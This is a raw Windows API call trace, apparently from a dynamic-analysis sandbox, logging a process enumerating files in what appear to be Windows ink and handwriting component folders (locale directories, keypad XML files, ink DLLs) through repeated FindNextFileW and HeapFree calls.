	[0205.852] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="es-MX", cAlternateFileName="")) returned 1
	[0205.852] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.852] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="et-EE", cAlternateFileName="")) returned 1
	[0205.852] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.852] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0205.852] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.852] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1
	[0205.853] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.853] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="fr-FR", cAlternateFileName="")) returned 1
	[0205.853] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.853] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1
	[0205.854] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.854] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="auxpad.xml", cAlternateFileName="")) returned 1
	[0205.854] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.854] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="insert.xml", cAlternateFileName="")) returned 1
	[0205.855] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.855] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="keypad.xml", cAlternateFileName="")) returned 1
	[0205.857] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.857] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="main.xml", cAlternateFileName="")) returned 1
	[0205.858] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.858] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1
	[0205.858] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.858] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1
	[0205.858] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.858] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknav.xml", cAlternateFileName="")) returned 1
	[0205.858] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.859] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1
	[0205.859] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.859] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oskpred.xml", cAlternateFileName="")) returned 1
	[0205.859] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x446a8c8 | out: hHeap=0x560000) returned 1
	[0205.859] FindNextFileW (in: hFindFile=0x652258, lpFindFileData=0x3a3f08c | out: lpFindFileData=0x3a3f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="symbols.xml", cAlternateFileName="")) returned 1
	[0205.859] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.859] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="he-IL", cAlternateFileName="")) returned 1
	[0205.860] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.860] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="hr-HR", cAlternateFileName="")) returned 1
	[0205.860] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.860] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="hu-HU", cAlternateFileName="")) returned 1
	[0205.860] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.860] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1
	[0205.860] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.860] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1
	[0205.862] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.862] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0205.862] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.862] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="ko-KR", cAlternateFileName="")) returned 1
	[0205.862] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.862] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1
	[0205.862] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.862] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="lt-LT", cAlternateFileName="")) returned 1
	[0205.863] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.863] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="lv-LV", cAlternateFileName="")) returned 1
	[0205.863] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.863] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="micaut.dll", cAlternateFileName="")) returned 1
	[0205.863] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.863] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="nl-NL", cAlternateFileName="")) returned 1
	[0205.864] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.864] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0205.864] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.864] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0205.864] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.864] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0205.865] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.865] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="ro-RO", cAlternateFileName="")) returned 1
	[0205.865] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.865] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0205.865] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.865] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0205.865] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.865] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0205.866] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.866] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1
	[0205.866] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.866] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c820e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0205.866] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
	[0205.866] FindNextFileW (in: hFindFile=0x652218, lpFindFileData=0x3a3f308 | out: lpFindFileData=0x3a3f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe467a929, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe467a929, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0xc49, dwReserved1=0xe37, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0205.867] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x445a8c0 | out: hHeap=0x560000) returned 1
